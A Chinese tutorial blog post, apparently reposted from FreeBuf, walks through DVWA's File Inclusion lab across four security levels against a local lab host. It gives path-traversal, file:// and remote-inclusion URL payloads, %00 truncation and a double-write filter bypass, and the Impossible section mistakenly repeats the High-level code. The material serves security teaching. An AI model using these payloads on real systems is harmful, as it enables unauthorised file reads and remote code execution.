1. 程式人生 > >DVWA-1.10全級別教程之File Inclusion(學習筆記)

DVWA-1.10全級別教程之File Inclusion(學習筆記)

根據原創作者:lonehand進行更改,來自FreeBuf.COM
目前,最新的DVWA已經更新到1.9版本(http://www.dvwa.co.uk/),而網上的教程大多停留在舊版本,且沒有針對DVWA high級別的教程,因此萌發了一個撰寫新手教程的想法,錯誤的地方還請大家指正。
DVWA簡介
DVWA(Damn Vulnerable Web Application)是一個用來進行安全脆弱性鑑定的PHP/MySQL Web應用,旨在為安全專業人員測試自己的專業技能和工具提供合法的環境,幫助web開發者更好的理解web應用安全防範的過程。
DVWA共有十個模組,分別是
Brute Force(暴力破解)
Command Injection(命令列注入)
CSRF(跨站請求偽造)
File Inclusion(檔案包含)
File Upload(檔案上傳)
Insecure CAPTCHA (不安全的驗證碼)
SQL Injection(SQL注入)
SQL Injection(Blind)(SQL盲注)
XSS(Reflected)(反射型跨站指令碼)
XSS(Stored)(儲存型跨站指令碼)
需要注意的是,DVWA 1.9的程式碼分為四種安全級別:Low,Medium,High,Impossible。初學者可以通過比較四種級別的程式碼,接觸到一些

php程式碼審計的內容。


DVWA的搭建
Freebuf上的這篇文章《新手指南:手把手教你如何搭建自己的滲透測試環境》(http://www.freebuf.com/sectool/102661.html)已經寫得非常好了,在這裡就不贅述了。
File Inclusion

File Inclusion,意思是檔案包含漏洞,是指當伺服器開啟allow_url_include選項時,就可以通過php的某些特性函式(include(),require()和include_once(),require_once())利用url去動態包含檔案,此時如果沒有對檔案來源進行嚴格審查,就會導致任意檔案讀取或者任意命令執行。檔案包含漏洞分為本地檔案包含漏洞與遠端檔案包含漏洞,遠端檔案包含漏洞是因為開啟了php配置中的allow_url_fopen選項(選項開啟之後,伺服器允許包含一個遠端的檔案)。

檔案包含漏洞的一般特徵如下:

?page=a.PHP

?home=a.html

?file=content

目錄遍歷(Directory traversal)和檔案包含(File include)的一些區別:

目錄遍歷是可以讀取web根目錄以外的其他目錄,根源在於web application的路徑訪問許可權設定不嚴,針對的是本系統。

檔案包含是通過include函式將web根目錄以外的目錄的檔案被包含進來,分為LFI本地檔案包含和RFI遠端檔案包含

幾種經典的測試方法:

?file=../../../../../etc/passwdd

?page=file:///etc/passwd

?home=main.cgi

?page=http://www.a.com/1.php

http://1.1.1.1/../../../../dir/file.txt

(通過多個../可以讓目錄回到根目錄中然後再進入目標目錄)

編碼繞過字元過濾:

可以使用多種編碼方式進行繞過

%00嵌入任意位置

.的利用



下面對四種級別的程式碼進行分析。
Low
伺服器端核心程式碼

路徑:E:\phpStudy\WWW\DVWA\vulnerabilities\fi\source

<?php

// The page we wish to display
$file = $_GET[ 'page' ];

?>

可以看到,伺服器端對page引數沒有做任何的過濾跟檢查。伺服器期望使用者的操作是點選下面的三個連結,伺服器會包含相應的檔案,並將結果返回。需要特別說明的是,伺服器包含檔案時,不管檔案字尾是否是php,都會嘗試當做php檔案執行,如果檔案內容確為php,則會正常執行並返回結果,如果不是,則會原封不動地列印檔案內容,所以檔案包含漏洞常常會導致任意檔案讀取與任意命令執行。現實中,惡意的攻擊者是不會乖乖點選這些連結的,因此page引數是不可控的。

構造url如下。
http://10.10.10.139/DVWA/vulnerabilities/fi/?page=/etc/shadow

報錯,顯示沒有這個檔案,說明不是伺服器系統不是Linux,但同時暴露了伺服器檔案的絕對路徑E:\phpStudy\WWW\DVWA\vulnerabilities\fi\index.php

構造url如下。
http://10.10.10.139/DVWA/vulnerabilities/fi/?page=E:\phpStudy\WWW\DVWA\php.ini
成功讀取了伺服器的php.ini檔案。

構造url如下。(檔案路徑哪種斜槓都沒關係
http://10.10.10.139/DVWA/vulnerabilities/fi/?page=..\..\..\..\WWW\DVWA\php.ini
加這麼多..\是為了保證到達伺服器的E盤根目錄,可以看到讀取是成功的。

同時我們看到,配置檔案中的Magic_quote_gpc選項為off。

在PHP4.0及以上的版本中,該選項預設情況下是開啟的,5.4之後的版本已經刪除了這個Magic_quote_gpc

在php版本小於5.3.4的伺服器中,當Magic_quote_gpc選項為off時,我們可以在檔名中使用%00進行截斷,也就是說檔名中%00後的內容不會被識別,即下面兩個url是完全等效的。 


A)http://10.10.10.139/DVWA/vulnerabilities/fi/?page=..\..\..\..\WWW\DVWA\php.ini
B)http://10.10.10.139/DVWA/vulnerabilities/fi/?page=..\..\..\..\WWW\DVWA\php.ini%0012.php

現在我的php版本為

訪問http://10.10.10.139/DVWA/vulnerabilities/fi/?page=..\..\..\..\WWW\DVWA\php.ini%0012.php

現在我把php切換成

然後在訪問http://10.10.10.139/DVWA/vulnerabilities/fi/?page=..\..\..\..\WWW\DVWA\php.ini%0012.php

使用%00截斷可以繞過某些過濾規則,例如要求page引數的字尾必須為php,這時連結A會讀取失敗,而連結B可以繞過規則成功讀取。
當伺服器的php配置中選項allow_url_fopen與allow_url_include為開啟狀態時,伺服器會允許包含遠端伺服器上的檔案。如果對檔案來源沒有檢查的話,就容易導致任意遠端程式碼執行。在遠端伺服器10.10.10.151上傳一個phpinfo.txt檔案,內容如下。

<?php
phpinfo();
?>

成功執行。

為了增加隱蔽性,可以對http://10.10.10.139/DVWA/vulnerabilities/fi/?page=http://10.10.10.151/phpinfo.txt進行編碼,同樣可以執行成功。

Medium
伺服器端核心程式碼

<?php

// The page we wish to display
$file = $_GET[ 'page' ];

// Input validation
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\"" ), "", $file );

?>


可以看到,Medium級別的程式碼增加了str_replace函式,對page引數進行了一定的處理,將”http:// ”、”https://”、 ” ../”、”..\”替換為空字元,即刪除,這裡只是過濾了遠端包含,但沒有過濾本地包含

使用str_replace函式是極其不安全的,因為可以使用雙寫繞過替換規則。例如page=htthttp://p://10.10.10.151/phpinfo.txt時,str_replace函式會將http://刪除,於是page=http://10.10.10.151/phpinfo.txt,成功執行遠端命令。

同時,因為替換的只是“../”、“..\”,所以對採用絕對路徑的方式包含檔案是不會受到任何限制的。

這裡我們用.../

因為沒有過濾本地包含所以還這樣還是可以

http://10.10.10.139/DVWA/vulnerabilities/fi/?page=E:\phpStudy\WWW\phpinfo.php

High
伺服器端核心程式碼

<?php

// The page we wish to display
$file = $_GET[ 'page' ];

// Input validation
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
	// This isn't the page we want!
	echo "ERROR: File not found!";
	exit;
}

?>

可以看到,High級別的程式碼使用了fnmatch函式檢查page引數,要求page引數的開頭必須是file,伺服器才會去包含相應的檔案。
High級別的程式碼規定只能包含file開頭的檔案,看似安全,不幸的是我們依然可以利用file協議繞過防護策略。file協議其實我們並不陌生,當我們用瀏覽器開啟一個本地檔案時,用的就是file協議,如下圖。

我們構造如下URL:

http://10.10.10.139/DVWA/vulnerabilities/fi/?page=file:///E:\phpStudy\WWW\DVWA\php.ini

這裡的file:///,斜槓必須為/而且數量要大於一個 

Impossible
伺服器端核心程式碼

<?php

// The page we wish to display
$file = $_GET[ 'page' ];

// Input validation
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
	// This isn't the page we want!
	echo "ERROR: File not found!";
	exit;
}

?>


可以看到,Impossible級別的程式碼使用了白名單機制進行防護,簡單粗暴,page引數必須為“include.php”、“file1.php”、“file2.php”、“file3.php”之一,徹底杜絕了檔案包含漏洞。

相關推薦

DVWA-1.10級別教程File Inclusion學習筆記

根據原創作者:lonehand進行更改,來自FreeBuf.COM 目前,最新的DVWA已經更新到1.9版本(http://www.dvwa.co.uk/),而網上的教程大多停留在舊版本,且沒有針對DVWA high級別的教程,因此萌發了一個撰寫新手教程的想法,錯誤的地方還請

DVWA-1.9級別教程File Upload

*本文原創作者:lonehand,轉載須註明來自FreeBuf.COM 目前,最新的DVWA已經更新到1.9版本(http://www.dvwa.co.uk/),而網上的教程大多停留在舊版本,且沒有針對DVWA high級別的教程,因此萌發了一個撰寫新手教程的想法,錯誤的地

新手指南:DVWA-1.9級別教程SQL Injection

escape index.php 偽造 掌握 post 數字型註入 初學者 hsl 攻擊 *本文原創作者:lonehand,轉載須註明來自FreeBuf.COM 目前,最新的DVWA已經更新到1.9版本(http://www.dvwa.co.uk/),而網上的教程大多停

DVWA-1.9級別教程CSRF

*本文原創作者:lonehand,轉載須註明來自FreeBuf.COM 目前,最新的DVWA已經更新到1.9版本(http://www.dvwa.co.uk/),而網上的教程大多停留在舊版本,且沒有針對DVWA high級別的教程,因此萌發了一個撰寫新手教程的想法,錯誤的地

DVWA-1.9級別教程SQL Injection

*本文原創作者:lonehand,轉載須註明來自FreeBuf.COM 目前,最新的DVWA已經更新到1.9版本(http://www.dvwa.co.uk/),而網上的教程大多停留在舊版本,且沒有針對DVWA high級別的教程,因此萌發了一個撰寫新手教程的想法,錯誤的地

DVWA-1.9級別教程Insecure CAPTCHA

*本文原創作者:lonehand,轉載須註明來自FreeBuf.COM    目前,最新的DVWA已經更新到1.9版本(http://www.dvwa.co.uk/),而網上的教程大多停留在舊版本,且沒有針對DVWA high級別的教程,因此萌發了一個撰寫新手教程的想法,錯

資料庫事務的隔離級別學習筆記

最近都在看資料庫的相關,然後就有看到事務,看了很多文章發現內容多,有些地方容易混淆,不做筆記還真不行,必須總結。 概念怎麼說?至少了解一波吧 事務可以理解為一個 獨立的工作單元, 在這個獨立的工作單元中

棧開發道》MEAN學習筆記-簡單的商品管理功能

本文介紹了利用MEAN技術棧(MongoDB,Express,Angular,Node.js)構建一個簡單的商品管理功能 所需環境:Node.js、MongoDB  、(git) 先建立一個基於EJS的Express工程 express --view=ejs my

Spring Security教程session管理十一

利用 開始 必須 出了 攻擊保護 應用 退出 val coo 1.1 檢測session超時 1.2 concurrency-control 1.3 session 固定攻擊保護 Spring Security通過http元素下的子

視訊、圖形影象處理Opencv技術記錄、Opencv教程影象處理imgproc模組平滑影象

目標 在本教程中,您將學習如何使用OpenCV函式應用各種線性濾鏡來平滑影象,例如: 理論 注意 下面的解釋屬於Richard Szeliski和LearningOpenCV的計算機視覺:演算法和應用一書 平滑,也稱為模糊,是一種簡單且經常使用的影象處理操作。

gulp教程 gulp-concat合併檔案

gulp 的 concat 外掛主要用於合併檔案,把也就是多個檔案合併到一個檔案中,以節省儲存空間。 安裝命令:cnpm install --save-dev gulp-concat gulpfile.js 檔案配置: var concat = require('gulp-

1. PostgreSQL-安裝和基本配置學習筆記

安裝和配置 日常使用 buffer java、 note 安裝完成 for ora har 1 PostgreSQL簡介1.1 概述??PostgreSQL數據庫是目前功能最強大的開源數據庫,支持豐富的數據類型(如JSON和JSONB類型,數組類型)和自定義類型。而且它提供

繼承學習筆記 —— 《高級教程

內部 name nbsp pan 返回 ima 初始 圖片 筆記 繼承 原型鏈 先不管上圖,先來看以下代碼: function Person() { this.personName = ‘person‘; } Person.prototyp

機器學習十大經典演算法K-近鄰演算法學習筆記

演算法概述 K-近鄰演算法(k-Nearest Neighbor,KNN)是機器學習演算法中最簡單最容易理解的演算法。該演算法的思路是:給定一個訓練資料集,對新的輸入例項,在訓練資料集中找到與該例項最鄰近的K個例項, 這K個例項的多數屬於某個類,就把該輸入例項分

機器學習十大經典演算法決策樹學習筆記整理

一、決策樹概述 決策樹是一種樹形結構,其中每個內部節點表示一個屬性上的測試,每個分支代表一個測試輸出,每個葉節點代表一種類別。決策樹是一個預測模型,代表的是物件屬性與物件值之間的一種對映關係。 最初的節點稱為根節點(如圖中的"顏色"),有分支的節點稱為中間節點

JavaScript設計模式觀察者模式學習筆記

設計模式(Design Pattern)對於軟體開發來說其重要性不言而喻,程式碼可複用、可維護、可擴充套件一直都是軟體工程中的追求!對於我一個學javascript的人來說,理解設計模式似乎有些困難,對僅切圖、做少量互動效果的FE甚至可能不會用到,但是當你開始使用Angula

Python小白學習基礎知識個人筆記

    介紹while else的使用,這個不常用 格式化輸出   while esle ,當迴圈內有break語句時,不執行else語句,當沒有break語句時,執行完while迴圈,然後執行else下面的語句   案例如下: 1 # 登陸三次 2

SHELL指令碼攻略學習筆記--1.3 多命令邏輯執行順序

每條命令後如果不加&的話就是依次一行一行的順序執行,只有前面一行執行完成後再執行下一行,事實上還有很多特殊符號可用來分隔單個的命令:分號(;)、管道(|)、&、邏輯AND (&&),還有邏輯OR (||)。對於每一個讀取的管道,Shell都回

1.物件導論---java程式設計思想學習筆記

我這些學習筆記,記錄的都是我自己認為的知識點,可能以後再看的時候還要翻書,但是可以用來定位到準確的書中示例的位置,減少翻書重找的時間,利於自身知識體系的搭建。                                            self-transcende

java 多執行緒平行計算矩陣乘法星星筆記

用java編寫兩個n階的方陣A和B的相乘程式,結果存放在方陣C中,其中使用Runnable介面實現矩陣的乘法。 方陣A和B的初始值如下:(同時開兩個執行緒) 輸出:c中所有元素之和、程式的執行時間 具體的程式如下: package com.xing.matrix; /